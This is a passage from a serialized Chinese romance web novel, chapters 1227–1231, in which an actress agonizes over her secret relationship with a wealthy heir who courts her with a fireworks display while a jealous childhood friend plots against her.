他垂眸,手指无意识地摩挲着沙发扶手,指节泛白,仿佛在压抑着什么。 窗外天色渐暗,乌云沉沉压下来,铅灰色的云层如他此刻的心情,压抑得令人窒息。 他想起她方才颤抖的声线,想起她躲闪的眼神,想起她那句“我们本就是金主和情人”。心脏仿佛被一只无形的手攥住,疼得他几乎无法呼吸。 他何尝不想反驳?何尝不想告诉她,她对他有多重要? 可他能说什么?他能承诺什么? 黎家的枷锁如铁链般缠绕着他,家族的利益、权势的纷争,让他每一步都如履薄冰。 他深知,若此刻他给出承诺,只会将她拖入更深的泥潭。他宁愿她恨他,宁愿她怨他,也不愿让她成为牺牲品。 他仰头,闭眼,深吸一口气,试图平复情绪。 可脑海中却不断浮现出她的身影。 她就像一束光,硬生生劈开了他生命中的黑暗。他曾以为,自己早已习惯了孤独,习惯了在深渊中独行。 可她的出现,却让他的世界有了温度,有了色彩。如今,她却要抽身离去,将他重新扔回那无尽的黑暗之中。他怎能放手?怎能眼睁睁地看着她消失? …… 温栩栩逃出房间,冲进电梯,直到电梯门合上,隔绝了黎云笙的视线,她才敢大口喘息。 她靠在冰冷的电梯壁上,指尖发抖,泪水在眼眶里打转,却倔强地不肯落下。 手机铃声再次响起,是剧组助理催促她尽快到场。 她深吸一口气,强压下心头的酸涩,接通电话,声音故作镇定:“我马上到。” 她赶到片场时,秦扬帆导演正站在监视器前,眉头紧锁。见她来了,他微微点头,目光却透着一丝担忧。 温栩栩强打起精神,换上角色的妆容与服饰,站在镜头前,她迅速调整状态,将角色的悲喜演绎得淋漓尽致。 她的演技确实精湛,每一个眼神、每一个动作都恰到好处,仿佛与角色融为一体。 她垂首而立,乌发如瀑倾泻至腰际,一袭墨色旗袍贴身勾勒出玲珑曲线,肩披银丝绒披肩,绣着暗纹的云霞在灯光下流转若隐若现的流光。 指尖轻拢鬓角碎发,动作如行云流水,优雅高傲,仿佛唐颖的灵魂正借她躯壳整理生前最后的仪容。 旗袍襟口歪斜的盘扣被她一遍遍扶正,指尖固执地微颤,似在抚摸一件即将破碎的珍宝,又似在确认某种摇摇欲坠的秩序。 她低着头,一手拢着自己的一边长发,指节泛白,仿佛在攥紧最后一根浮木。 指尖划过银丝绒披肩时,动作忽而滞涩,像是被某种无形的重量拖住了手腕。 她反复正了正衣裙,腰身挺得笔直,可那绷紧的脊背却透出难以言喻的仓惶,仿佛下一秒,这精心雕琢的优雅便会如沙塔崩塌。 化妆镜的倒影中,她眉目如画,唐颖的妆容精致到分毫,可眼底却浮着一层朦胧的雾气,像蒙了尘的琉璃,失了该有的锐光。 后台的喧嚣在她耳畔嗡嗡作响,指尖无意识地摩挲着旗袍盘扣上的金丝纹路,指腹被硌得微微发疼。 好不容易这场戏拍完,秦扬帆看出了她现在心思不在戏上,很明显的温栩栩眼神深处,总有一丝游离的恍惚,仿佛灵魂的一部分仍被牵绊在别处。 “卡!”秦扬帆喊停,走到她身边,轻声问道:“栩栩,今天状态不太对?” 温栩栩心头一紧,连忙低下头,掩饰眼中的慌乱:“抱歉,导演,可能是没休息好。” 秦扬帆看着她,目光如炬,却并未苛责。 秦扬帆拍了拍她的肩:“今天剩下的戏份先不拍了,你回去好好休息。明天是关键戏,调整好了再来。”温栩栩微微一愣,随即感激地点头:“谢谢导演。” 今天秦扬帆给墨澜和温栩栩安排的都是对手戏,此刻片场陷入短暂的寂静。温栩栩因状态不佳被导演允许休息,墨澜的戏份也随之搁置。 他倚在休息区走廊的窗边,望着片场外被秋风卷起的落叶,眉间凝着一抹沉思。 方才温栩栩在镜头前强撑的演技、导演那句“状态不对”的叹息,都让他嗅到了一丝不同寻常的气息。 他深知娱乐圈的暗流,尤其是牵扯到黎家那样的豪门。那潭水深不见底,稍有不慎便会溺毙其中。 墨澜卸了妆,露出一张清俊却透着冷厉的脸,他抬手敲了敲温栩栩的门,指节在木门上叩出轻缓的节奏。 温栩栩开门时,脸上还带着未褪的怔愣。 她刚卸了唐颖的妆,素颜苍白如纸,眼睑残留的红肿像两片未愈的伤痕,在暖黄的灯光下泛着脆弱的微光。 发丝散乱地垂在肩头,有几缕被汗水黏在颈侧,凌乱中却透出一种破碎的美感。 墨澜倚在门框上,一身黑衣衬得身形颀长,眉梢挑起,目光如炬:“温老师,现在方便吗?” 温栩栩愣了下,她没想到墨澜会来,她侧身让开,嗓音有些沙哑:“墨老师请进。” 门“咔嗒”一声合上,隔绝了外界的喧嚣。 墨澜走进休息间,目光扫过屋内,简约的布置,化妆台散落着未收的化妆品,沙发上的剧本摊开着,页角被揉得微皱。 他径直坐到沙发上,双腿交叠,姿态慵懒却透着审视的意味,目光如冰刃般锁住温栩栩:“我大概猜得到你和那位黎家少爷的关系。你这角色怎么来的,我不管,也不感兴趣——” 他语气忽而沉下来,“但剧组进度不能耽误。另外,给你个忠告。” 他停顿片刻,喉结滚动,声音压得更低,“黎家背景深,水也深。你可以为了资源接近他,但一定不要动真心。否则最后受伤的一定是你。” 温栩栩的脊背瞬间绷紧,仿佛被钉在原地。 墨澜的话像一根细针,精准地刺入她最痛的伤口。 她喉间泛起苦涩,强撑着开口:“墨老师……我心里清楚。”声音却轻得仿佛随时会被风吹散。 她垂在身侧的双手紧握成拳,指甲深深掐进掌心,留下月牙状的淤痕。 第1227章 万千星河不及你 她知道,这不过是自欺欺人罢了。那些深夜的拥抱、黎云笙眼底的温柔,早已如藤蔓般缠住她的心脏,每一次呼吸都牵扯着痛楚。 墨澜轻笑一声,笑意却不达眼底:“不是说你身份配不上,这圈子里,谁没点手段?但黎家不一样。”他忽而倾身,指尖在沙发扶手上轻敲,节奏如鼓点般敲在温栩栩的心上,“黎家疯子太多。你和黎云笙走得太近,会被人盯上。” 他顿了顿,目光扫过她发白的指尖,声音像浸了冰,“尤其是……那位老太太。” 温栩栩的瞳孔猛地一缩,心脏仿佛被重锤击中。 墨澜的话像一记闷雷,在她脑中炸开。 对啊,会被人盯上……可惜这提醒来得太晚了。 她深吸一口气,指甲更深地掐进掌心,仿佛要借痛楚压下喉间的哽咽:“墨老师,我知道。谢谢您提醒。”声音像被砂纸磨过,哑得厉害。 她知道,此刻不能示弱。在墨澜这样的前辈面前,她必须维持最后一丝体面。 墨澜凝视着她,目光掠过她颤抖的肩线,终是没再多言。 他起身,开门离去,背影消失在走廊尽头。 温栩栩跌坐在沙发上,脊背绷紧如弓弦。窗外的风灌进来,卷起她散落的鬓发,拂过她苍白的脸颊。 她低头盯着自己交叠的双手,指节泛白,掌心已掐出月牙状的淤痕。酸涩如梅子般的滋味在喉间翻涌,泪水在眼眶里打转,却倔强地不肯落下。 她想起墨澜的话:“黎家的疯子太多。”是啊,黎家内部权力斗争如蛛网密布,黎云笙的哥哥们虎视眈眈,黎老太太更是手段狠辣。而她,不过是一枚棋子,随时可能被碾碎。 温栩栩强撑着让自己振作起来,戴上口罩和墨镜遮住自己苍白的脸和红肿的一双眼。 她离开片场,独自走在回酒店的路上。 许是黎云笙安排了人做了准备,所以酒店附近已经看不到那些无孔不入的记者了。 秋风萧瑟,卷起落叶,她裹紧外套,却依旧觉得冷。酸涩如梅子般的滋味在喉间翻涌,她低头盯着自己的脚尖,泪水终于忍不住滑落。 只要一想到和黎云笙的关系,内心便如被钝刀割锯般疼痛。 她想起黎云笙那漆黑幽深的目光,想起他沉默的凝视,想起他指尖的温度。 她不敢奢求,不敢拥有。 “真可怜啊。”她自嘲地轻笑一声,声音里带着无尽的苦涩。 原来有喜欢的人,有自己的真爱,却不得不拱手推出去,不敢奢求。 她抬头望向天空,灰蒙蒙的云层遮住了阳光,一如她此刻的心境。 他们之间横亘着天堑般的鸿沟,她甚至连仰望他的资格都没有。她曾以为,只要默默陪伴在他身边,哪怕只是金主与情人的关系,她也甘愿。可如今,连这卑微的奢求,都仿佛成了奢望。 她回到公寓,蜷缩在沙发上,翻开剧本,却一个字也看不进去。 脑海中不断浮现出黎云笙的身影,他的沉默,他的眼神,他的触碰。 她捂住脸,泪水从指缝间渗出,浸湿了掌心。她知道自己不该如此,不该让自己陷入这般痛苦的境地。可她无法控制自己的心,无法将他从生命中剥离。 夜深了,窗外灯火渐熄,唯有她的房间仍亮着灯。 她坐在窗边,望着远处的城市夜景,思绪飘远。 他们之间,终究隔着太多太多。 她深吸一口气,擦干眼泪,强迫自己振作起来。明天还有重要的戏份,她不能辜负导演的信任,也不能让剧组因为她而延误进度。 她起身,走向浴室,用冷水洗脸,试图让自己清醒。 她抬头望向镜中,倏然怔住,镜中的人陌生得令她心惊。 原本白皙的脸庞此刻苍白如纸,血色尽褪,仿佛被抽走了所有生命力。红肿的眼睛尤为刺目,血丝如蛛网般蔓延,像两片被雨水打湿的残破蔷薇,狼狈地蜷缩在眼眶里。 她下意识抬手抚上脸颊,指尖颤抖着掠过眼睑,触到一片滚烫的湿润,才惊觉自己竟不知不觉又泪流满面。 镜中的倒影与她的目光相撞,仿佛照见了灵魂深处的裂痕。 她看见自己眼底淤积的疲惫与绝望,像淤积的阴云,压得她几乎喘不过气。 方才在剧组强撑的镇定、在黎云笙面前故作坚强的姿态,此刻在镜前轰然崩塌。 她想起黎云笙沉默的凝视,想起他欲言又止的苦涩,想起自己仓皇逃离时颤抖的脊背。 泪水再次无声地滑落,在苍白的皮肤上蜿蜒出泪痕,仿佛一道道自嘲的刻痕。 她凝视着镜中狼狈的自己,喉间泛起酸涩的苦味。 曾以为能藏好所有脆弱,可此刻,镜子里这张脸却赤裸裸地揭开了她的溃败。 她深吸一口气,指尖用力抹去泪水,却在镜中看见自己颤抖的指节。 她忽然自嘲地轻笑,笑声空洞而沙哑:“温栩栩,你要清楚你自己的身份啊。” 镜中人亦回以同样苍白的笑容,答案早已沉入心底。 她爱他,却注定无法拥有,这无解的悖论正将她撕扯成碎片。 她转身离开镜子,背影在灯光下显得单薄而倔强。 温栩栩回到酒店后,便沉沉睡去,仿佛要将白日的疲惫与酸涩一并埋入黑暗。 直到夜幕四合,手机铃声突兀地划破寂静,她才惊醒。 摸索着抓起手机,屏幕上“黎云笙”三个字刺得她瞳孔微缩,心跳陡然加快。 接通的瞬间,男人低沉的嗓音裹着电流传来,带着几分沙哑与温柔:“看窗外。” 她怔愣片刻,指尖还残留着被惊醒的颤意。 窗帘厚重,遮住了所有光线,她迟疑着起身,赤脚踩在地毯上,每一步都像踩在云絮里。 拉开窗帘的动作有些迟缓,仿佛怕打破某种虚幻的期待。 当窗外景象映入眼帘时,她猛地屏住了呼吸。 远处,黑夜如墨,却不知何时被点点荧光点亮。 那些光点如同坠落的星辰,在夜幕中缓缓流动、排列,最终拼凑出一句“万千星河不及你”。 第1228章 她是被捧在掌心的人 字迹由荧光灯串组成,每一颗灯珠都如细碎的钻石,在风中微微摇曳,仿佛银河倾泻而下,又似星子坠入人间。 温栩栩的瞳孔被这绚烂的星光填满,指尖不自觉地抚上玻璃,冰凉的温度透过肌肤传来,却抵不过胸腔里翻涌的灼热。 紧接着,远处天际骤然炸开一朵烟花。 那烟花升空时如流星疾驰,绽开时却化作万千璀璨星花,金红交织,蓝紫相映,每一片花瓣都拖着流光,似在编织一场瑰丽的梦境。一朵接一朵的烟花冲天而起,在夜幕中绽放、交织、重叠,最终竟拼成了“温栩栩”三个字。 那三个字由烟花的光影构成,每一笔都流淌着炽烈的色彩,仿佛有人将她的名字点燃,化作天穹的图腾。 烟花炸裂的轰鸣声此起彼伏,震得空气都在颤动,却奇异地与荧光星河的静谧形成奇妙的和谐。 绚烂的光影映在温栩栩的脸上,将她的轮廓镀上一层流动的金边。 她怔立在窗前,望着那三个字在夜空中明明灭灭,仿佛自己的名字被赋予了生命,正在燃烧的星河中起舞。 一股灼热从胸腔深处蔓延开来,像是一簇小火苗被风点燃,瞬间燎原。 那火苗带着滚烫的温度,在她心底筑起一座温暖的小炉,暖意顺着血脉流淌,驱散了积压的疲惫与苦涩。 她知道,这漫天烟火,这璀璨星河,都是黎云笙送来的。 他仿佛在透过心底那扇小窗问她,温栩栩,你感受到温暖了吗? 暖了,真的很暖,很暖…… 泪光在眼眶里打转,却始终不肯落下。 她望着窗外,远处的车内,黎云笙正透过车窗凝望着她。 书上说,喜欢上一个人或许只是一瞬间的事。 温栩栩曾嗤笑这种说法,她经历过太多冷暖,以为自己的心早已筑起铜墙铁壁。 可此刻,望着窗外为她燃烧的星河与烟花,她终于信了。 这些年她独自摸爬滚打,见过虚伪的笑脸,听过虚情假意的承诺,也尝过被利用的滋味。她曾以为男人不过是资源的跳板,是自己强大路上的障碍,甚至自嘲地说过“男人可有可无”。可当黎云笙用这种方式将整片夜空捧到她面前时,她所有的防备如冰雪消融。 她想起墨澜的警告,想起黎老太太毒蛇般的眼神……那些如玻璃渣般的现实,此刻却被烟花的绚烂暂时掩盖。 她明白,这份温暖或许如烟花般短暂,转瞬即逝,可至少此刻,她是被捧在掌心的人。 他把自己能给的都给了她,哪怕带着镣铐,哪怕隔着深渊。 这样好的男人,此刻,是她的。 哪怕只是暂时的,那也算是她拥有过,不是吗? 这个念头如蜜糖般甜,又似黄连般苦,在舌尖反复碾磨。 她抬手,隔着玻璃,指尖在“温栩栩”三个字的光影上轻轻描摹,仿佛要将这刻的绚烂刻进骨髓。 烟花仍在绽放,每一朵都像是他无声的告白,在夜空中炸开,又消散,留下短暂却刻骨的美丽。 她忽然轻笑出声,笑声里藏着泪水的咸涩,却也带着释然。 或许,人生总要为某个人疯狂一次,哪怕飞蛾扑火,哪怕粉身碎骨。 至少,这一刻,她是鲜活的,是被爱的。 窗外的烟花渐渐稀疏,荧光星河也黯淡下来,可心底的小火炉仍在燃烧。 她转身,缓缓走回床边,手机还握在手里,温热未散。 黎云笙的声音仿佛还在耳畔:“看窗外。”这三个字,像一把钥匙,打开了尘封的心锁。 她躺下,望着天花板,嘴角勾起一抹复杂的笑。 原来,真的有人能让黑夜变成白昼,让苦涩酿成甘甜,哪怕这甘甜背后,是更深的酸楚。 夜风拂过窗帘的缝隙,带来一丝凉意,却吹不散她周身萦绕的暖意。她闭上眼,放任思绪飘远。 那些未说出口的话,那些不敢奢望的未来,此刻都化作烟花的余烬,在她心底静静沉淀。 她知道,明天或许仍有风暴,但此刻,她愿沉溺于这片刻的温柔,哪怕醒来后,一切都将归于现实。 远处,最后一朵烟花绽开,照亮了半个夜空,也照亮了温栩栩含泪带笑的眼眸。 那朵烟花最终化作万千星雨,洒向无垠的黑暗,如同他无声的承诺,落在她心底,生根发芽。 …… “烟花!好漂亮的烟花啊!” “万千星河不及你?这是告白吗!好浪漫啊!” “谁家粉丝这么会夸的!” “这绝对能冲上热搜第一了!炸了炸了!” 隔壁剧组的议论声如潮水般涌来,夹杂着惊叹与兴奋。 苏婉正倚在化妆间的镜前,任由化妆师摆弄着发髻,耳边却不断传来那些刺耳的词句。 她随意抬眼瞥向窗外,正见远处夜空中烟花如流星般划破天际,每一朵绽开的火树银花都拼凑成一句“万千星河不及你”。 那流光溢彩的字迹在黑暗中熠熠生辉,仿佛有人将整片银河倾泻而下,只为博一人一笑。 片场的喧嚣被这突如其来的浪漫点燃,人群如沸水般涌动。 有人举着手机拍摄,有人对着夜空尖叫,还有人凑在一起猜测。 “这是哪个粉丝团的手笔?太豪气了吧!” “说不定是圈内大佬追人呢!” “你们看那字,明显是表白啊,温栩栩……温栩栩是谁?” 议论声此起彼伏,苏婉的指尖却渐渐攥紧了椅背。 她望着窗外,烟花的光影在她眼底明明灭灭,映出一抹难以言喻的阴郁。 “苏姐,您看这发型可以吗?”化妆师的声音将她拉回现实。 她勉强扯出一抹笑:“挺好的。”可目光却始终停留在窗外。 那烟花不止是绚烂,更像是一把锋利的刀,在她平静的心湖上划开一道裂缝。 温栩栩这个名字,最近确如魔咒般频繁出现在她耳边。 前阵子经纪人还提到,网络上有个叫温栩栩的小明星很火,长得漂亮,甚至与她侧脸有几分相似。她当时嗤之以鼻,一个新人罢了,何足挂齿?她苏婉即将踏入一线,岂会在意这种小角色? 第1229章 那温栩栩迷了眼罢了 如今,这漫天烟花却像一记耳光,狠狠打在了苏婉的傲慢上。 经纪人李姐匆匆从外头回来,脸上带着几分凝重。 她压低声音,在苏婉耳边轻声道:“我打听清楚了,黎少给你开的那家娱乐公司虽然没有签下温栩栩,但资源科都是倾斜到她身上了。”苏婉的身体骤然一僵,仿佛被寒冰封住。 黎云笙……黎云笙竟然为温栩栩做到这种程度?娱乐公司倾斜资源,甚至亲自策划如此奢华的烟花应援? 她脑中一片混乱,无数个疑问如毒藤般缠绕。 温栩栩跟黎云笙何时相识? 她是什么身份? 凭什么能攀上黎云笙? 凭什么得到他这般倾注? 苏婉的指甲深深掐进掌心,疼痛却抵不过心口的酸涩。 她与黎云笙青梅竹马,自小他便如一道光,照亮了她整个童年。她曾以为,他们之间的情谊是独一无二的,哪怕他从未对她表露过爱意,她也甘愿默默守候,等待他回头。 可如今,温栩栩的出现却像一颗陨石,砸碎了她的幻想。 那个她从未放在眼里的女人,不仅接连登上热搜,搭档大导秦扬帆和顶流墨澜,更得到了黎云笙如此明目张胆的偏爱。 她苏婉混迹娱乐圈多年,仍未拍过大导的剧,未与墨澜这样的顶流合作过,而温栩栩一个新人,却轻易得到了她梦寐以求的一切。 此刻,窗外烟花绽放时,他是否也正凝望着那个叫温栩栩的女人,如同捧着稀世珍宝? 苏婉的心沉入谷底,仿佛坠入冰冷的深海。她突然意识到,自己与黎云笙之间,从来不是她以为的“近水楼台”,而是隔着一道她永远无法跨越的鸿沟。 “苏婉,你脸色不太好,是不是不舒服?”经纪人李姐的声音带着一丝担忧。 苏婉却仿佛没听见,她望着窗外仍在绽放的烟花,思绪如乱麻。 温栩栩的崛起像一根刺,扎在她引以为傲的自尊心上。 她曾自信地认为,黎云笙身边不会有其他女人,因为他那样的人,注定该属于她这样的“同类”,聪明、野心勃勃,懂得利用规则向上攀爬。 而温栩栩呢?她凭什么?凭那张与她有几分相似的脸?凭演技?还是凭……真心? 苏婉的呼吸渐渐急促,她忽然起身,不顾李姐的劝阻,径直走向窗边。 夜风拂过她的发梢,带来远处人群的欢呼声。 她死死盯着空中那由烟花拼成的“温栩栩”三个字,指尖颤抖着抚上玻璃。 那三个字如火焰般灼烧着她的理智,让她想起黎云笙为温栩栩所做的一切,资源倾斜、烟花应援,甚至亲自出面解决危机。 而这些,是她陪伴他十年都未曾得到的。 她突然感到一阵恐慌,仿佛自己守护了多年的珍宝正在被他人夺走。 黎云笙是她生命中的光,是她奋斗的动力,她绝不能容忍任何人将他从自己身边剥离。 温栩栩……这个突然出现的女人,必须被警惕,被防备。她或许是为了资源,或许是为了上位,但无论何种目的,苏婉都决不允许她得逞。 她攥紧拳头,指甲在掌心留下月牙形的红痕,眼底全都是对温栩栩的警惕和在意 。 化妆间的空气仿佛凝固了,苏婉脸色有些发白的蜷缩在沙发里,指尖无意识地摩挲着水晶杯沿,杯中的红酒随着她的动作微微晃动,漾出一圈圈涟漪。 窗外早已没了烟花,只剩下零星几点星光,如同被揉碎的碎钻洒在墨色天幕上。 她的目光却仍凝望着那片虚空,仿佛要将那烟花的余韵从脑海中彻底抹去。 经纪人李姐坐在她对面,妆容精致的脸上带着一丝凝重,指尖夹着的烟在指尖明明灭灭,烟雾缭绕中,她的声音带着几分沙哑:“苏婉,我听人说黎少现在就在隔壁剧组呢,你不去见一见?” 苏婉猛地抬头,瞳孔骤缩,指甲深深掐入掌心,仿佛要将那抹刺痛感刻入骨髓。 李姐却仿佛没察觉她的异样,继续开口道:“那温栩栩再怎么样也就是拿来玩玩的,你跟她可不一样,你跟黎少青梅竹马一起长大的交情,温栩栩是不配跟你相提并论的。” 苏婉的呼吸渐渐急促,她攥紧裙摆,指节泛白,仿佛要将那昂贵的绸缎撕碎。 李姐瞥了眼苏婉,眼底掠过一丝担忧:“黎少现在估计就是被那小妖精迷了眼,等过段时间就好了,男人嘛,都是这样的,外面的都只是拿来玩闹的,真要说起来,你跟黎少的感情那可不是谁都能插进来的。” 苏婉轻笑一声,喉间涌上一股灼热的痛感,却不及心中那团嫉妒的火焰炽烈。 苏婉嗤笑,像是在自嘲,又像是在嘲弄自己:“玩玩?怎么不见阿笙跟其他人玩,偏偏跟这个温栩栩玩?” 她握拳,声音带着颤抖:“他如果真的这么喜欢玩,怎么早些时间不找,偏偏找了这个温栩栩?” 李姐的眼中闪过一丝寒意,她压低声音,仿佛怕惊动空气:“这话哪里能这么说呢,黎少这不是才二十的年纪吗,还小呢,肯定就是尝尝鲜呢,外面的女人玩了也好处理。”她端起水杯抿了一口,看似是没将温栩栩放在心底。 苏婉猛地抬头,瞳孔骤缩,指甲深深掐入掌心,仿佛要将那抹刺痛感刻入骨髓。她咬紧牙关,声音带着颤抖:“还小……怎么黎家那群私生子,十一二岁就开始在酒店里胡闹,跟不三不四的女人厮混?阿笙若真这么爱玩,怎么早不找,偏偏挑了这个温栩栩?” 李姐的眼中闪过一丝寒意,她将烟头重重按进烟灰缸,灰烬飞溅如星火坠落:“这话可不对!那群私生子是黎家见不得光的脏东西,混不吝的货色,疯起来连脸面都不要,什么女人都敢碰,那都是上不得台面的下作玩意儿!” 她冷笑一声,仿佛吐出了喉间的污秽,“他们哪里配跟黎少相提并论?黎少是正经的黎家继承人,身份矜贵,向来洁身自好,不过是最近被那温栩栩迷了眼罢了。” 第1230章 狐狸精才会长这么一张脸! 李姐见她沉默,又添了把火:“温栩栩那种出身,不过是见着黎少权势滔天,故意使手段攀附罢了!你想想,她一个孤儿院长大的丫头,能有什么清白底子?当初假扮成男人跟在韩城身边当狗腿子,还不是瞅准机会往黎少身上贴?这种女人,最会装可怜耍心机,黎少一时新鲜,等她露出真面目,自然也就厌了。” 苏婉没说话,只神情莫测地望着窗外。 温栩栩在苏婉心里当然不是个省油的灯,如果她真好对付,就不会这么快在娱乐圈崭露头角,如果真的是个省油的灯,也不会攀附黎云笙。 她想起温栩栩那张在热搜上频繁出现的脸,清丽、无辜,却又带着一股勾人的媚态。 那双眼睛,在苏婉看来,根本就像浸了毒的蔷薇,看似柔弱,却能让人心甘情愿为她赴汤蹈火。 狐狸精才会长这么一张脸! 李姐见她沉默,又劝了一句:“黎少捧你捧得多小心翼翼,就算是给资源给东西那也不会这么夸张的给,让人一上来就反感,哪像这个温栩栩,一上来就跟墨澜合作,那圈子里多少人都要黑她嘲她看不上她的。” 她掐灭烟头,烟灰缸里堆积的灰烬像一座小山,指尖无意识地敲击着桌面,仿佛在敲打苏婉的心。 苏婉的喉咙发紧,她想起自己当年为了一个女三号角色,在酒会上陪笑敬酒,被油腻的投资人摸手调戏,而黎云笙只是冷眼旁观,最后轻飘飘一句“自己争取”便打发她。甚至还提到自己的演技不够好,虽然最后还是帮她争取了资源,可那也不过是一个女三号,温栩栩呢?上来就是女一号,导演还是秦扬帆,男主是墨澜,她当然心有不甘。 温栩栩她凭什么能让黎云笙如此倾注? 她咬紧牙关,声音带着几分颤抖:“他……他还做了什么?” 李姐的眼中闪过一抹精光,她笑着点头:“这事儿我也不是没查,最开始还是那温栩栩假扮成男生跟在韩城身边当小弟,最后还是韩城给带到黎云笙面前的,这中间发生的事情那还用猜?肯定是温栩栩耍了什么手段。这不是才有了后面那些事儿?”经纪人说到这些语气里面明显也是对温栩栩的不屑和瞧不上。 李姐见她沉默,又开口:“温栩栩可不配跟你比,你想想你什么身份她什么身份?一个孤儿院出身的,谁都能上来踩一脚,你不一样,你是苏家小姐,黎少那么看重你在意你,为了你创建的娱乐公司,只签了你一个人。” 苏婉轻笑一声,端起红酒杯轻晃,猩红的液体在杯中摇曳,映出她眼底的阴翳。 黎云笙是她认定的男人,是她蛰伏十年、费尽心机才走到他身边。 她绝不能容忍一个突然冒出来的女人夺走她的一切。 温栩栩……这个名字,她将牢牢记住。 娱乐圈的浑水,足够淹死一个不自量力的新人。 她笑着点头:“放心,交给我。不过苏婉,你得记住,黎少最讨厌别人在他眼皮底下耍手段,咱们得小心点。” “说真的,你不去见一见黎少?怎么说你们是一起长大的交情,你们也有段时间没见了,也该去叙叙旧了,跟温栩栩有关的事情你也好问个清楚不是?” “感情嘛,都是处出来的,你没有陪在黎少身边,这不是才让外面的狗腿子接近了黎少?” 经纪人是觉得苏婉跟黎云笙自小一起长大那感情一定不一般,就算黎云笙现在被温栩栩勾走了心思,可只要苏婉说几句也是能轻松把人勾回来的。但前提是苏婉也要用心去维护他们之间的这段关系才是。 苏婉的眼神又跟着一暗,半晌才嗯了一声。她缓缓起身,红酒杯被搁在茶几上,发出清脆的声响。“我知道了,我这就去见一见阿笙。” “我知道了,我这就去见一见阿笙。” 话落,苏婉放下酒杯,提着裙摆离开休息室,剧组的工作人员还凑在一起议论温栩栩呢,这群人也不知道捧着温栩栩的人是黎云笙,都不觉得议论温栩栩是冒犯。 苏婉没说什么,倒是这群工作人员看到她纷纷打招呼问好。 在剧组工作的一个个都是人精,谁不知道苏婉是苏家千金,纵然苏家现在快落败了,可黎云笙还在捧着苏婉,那苏婉就不是他们得罪的起的。 苏婉面带微笑,看着温婉可亲,只是目光落到那几个之前一直讨论温栩栩的工作人员身上,她记得这几个人似乎有点喜欢温栩栩? 那个圆脸场务刚才说“温栩栩演技真好”,戴眼镜的灯光师夸她“眼神灵动”,还有个副导演笑着嘀咕“要是能跟她搭戏就好了”。苏婉多看了这几个人一眼,他们脸上的笑容如此刺眼,仿佛在说温栩栩才是这个剧组的宠儿。 苏婉跟着经纪人离开,高跟鞋敲击地面的声音在走廊里格外清脆。 走远了,苏婉才对经纪人说道:“我以后不想在剧组看到那几个喜欢温栩栩的人。”她的声音平静得可怕,仿佛在说今晚的天气。 经纪人立刻明白了:“明天你不会再看到他们几个。这种小角色,随便找个由头开了就是。放心,保证处理得干干净净,不会让黎少知道是我们动的手。” 苏婉这才满意了。 她认得黎云笙的车,那辆银灰色的迈巴赫依旧停在不远处,车牌号熟悉得让她眼眶发酸。 黎云笙身边的保镖好似换了一批,可那道挺拔如松的身影她绝不会认错,保镖队长陈默依旧站在走廊尽头,黑色西装勾勒出他如雕塑般的身形,冷硬的五官在灯光下都带着冷意。 苏婉一直不喜欢这个人,因为每次她要去见黎云笙,陈默都要拦着通报联系确认黎云笙同意见她后才肯放行。 她曾无数次在心里咒骂这人的死脑筋,可偏偏黎云笙就欣赏他,甚至当着她的面夸赞过陈默“忠诚可靠”。 深吸一口气,苏婉攥紧手中的鳄鱼皮手包,指甲深深掐入掌心。 第1231章 金主和情人 黎云笙确实还没离开剧组,甚至在剧组附近的酒店订了一间长期的房间。 当她从经纪人那里得知这个消息时,内心的酸涩感觉几乎要从心口漫出来,酸得她几乎要落下泪来。 以往她拍戏的时候,黎云笙可曾如此在意? 她记得自己拍古装剧中暑晕倒,他只是淡淡一句“注意休息”,便继续处理文件。 偏却是换成了温栩栩,黎云笙就这样在意,甚至订了长期的房间? 苏婉面上的笑意都已经快维持不住了,经纪人干笑了两声在旁边哄着她,声音里带着讨好的意味:“别急,黎少心里还是有你的,你跟他的情分哪是别人能比的?” 终于推开房门,苏婉觉得她好像是真的很久没见过黎云笙了。 他依旧俊美得让人窒息,五官如冰雕般精致,却又透着生人勿近的冷冽。 黑色西装剪裁完美,每一处线条都贴合着他挺拔的身形,仿佛量身定制般没有一丝褶皱。 他坐在沙发上翻看文件,修长的手指握着钢笔,指节分明,骨节处泛着冷白的光。 桌上的咖啡已经冷掉了,杯壁凝着一层细密的水珠,房间内能闻到咖啡的香味,淡淡的并不是很浓,但是闻不到烟味儿。 他好像总是这样清爽,身上永远只有淡淡的雪松香,或是清冽的薄荷味,从不沾染烟酒的气息。 苏婉看到他就会感觉自己的心跳不由自主地加速,此刻更是如擂鼓般在胸腔中震动,几乎要冲破喉咙。 黎云笙听到开门声抬头扫了她一眼,只微微颔首,面上并没有什么多余的表情。 头顶的灯光打在他的侧脸上,衬得整个人俊美非常。那光线勾勒出他高挺的鼻梁与下颌的轮廓,睫毛在眼睑投下细密的阴影,像是蝴蝶振翅时抖落的金粉。 他的眼神依旧如深潭般幽冷,苏婉甚至在其中看不到一丝波动,仿佛她只是一个无关紧要的访客。 苏婉的喉咙发紧,她努力压下心中的酸涩,扬起一个得体的笑容:“阿笙,好久不见。”她的声音带着几分颤抖,尾音微微上扬,像是撒娇,又像是试探。 可黎云笙只是淡淡“嗯”了一声,便垂下眼帘继续处理文件,钢笔在纸上划出沙沙的声响,仿佛在嘲笑她的自作多情。 苏婉攥紧裙摆,指甲几乎要掐进掌心。 她环顾四周,套房内的陈设简洁而奢华,米白色的地毯柔软如云,水晶吊灯投下柔和的光,却照不亮黎云笙眼底的冰霜。 桌上散落着几份文件,她瞥见最上面那份赫然是《灵媒》剧组的拍摄进度表。 《灵媒》正是温栩栩主演的那部剧。心口猛地一窒,她想起经纪人说过的话:“黎少为了这部剧,亲自过问每个细节,连道具组的鲜花摆放都要确认……”而此刻,那些文件就躺在黎云笙触手可及的地方。 她深吸一口气,努力稳住声音:“听说你在这里订了房间,是为了《灵媒》的拍摄方便吗?” 黎云笙终于停下手中的笔,抬头看她,眼神却依旧淡漠如水:“工作需要。”简短的三个字,像是冰冷的刀刃,割裂了苏婉最后一丝希冀。 她拍过这么多次戏,黎云笙有像这样在意吗? 偏偏一个温栩栩,竟能让他如此费心? “阿笙……”她忍不住上前一步,高跟鞋敲击地面的声音在寂静的房间里格外清晰,“我们……也有段时间没好好聊聊了。” 她的指尖微微颤抖,几乎要触碰到他的衣袖,却被黎云笙不着痕迹地侧身避开。 他端起冷掉的咖啡抿了一口,眉头微皱,却并未言语。 苏婉的心沉入谷底。 她看着他冷峻的侧脸,他竟连一个多余的眼神都不愿施舍。 她咬紧下唇,喉间涌上一股苦涩:“温栩栩……她真的有那么特别吗?” 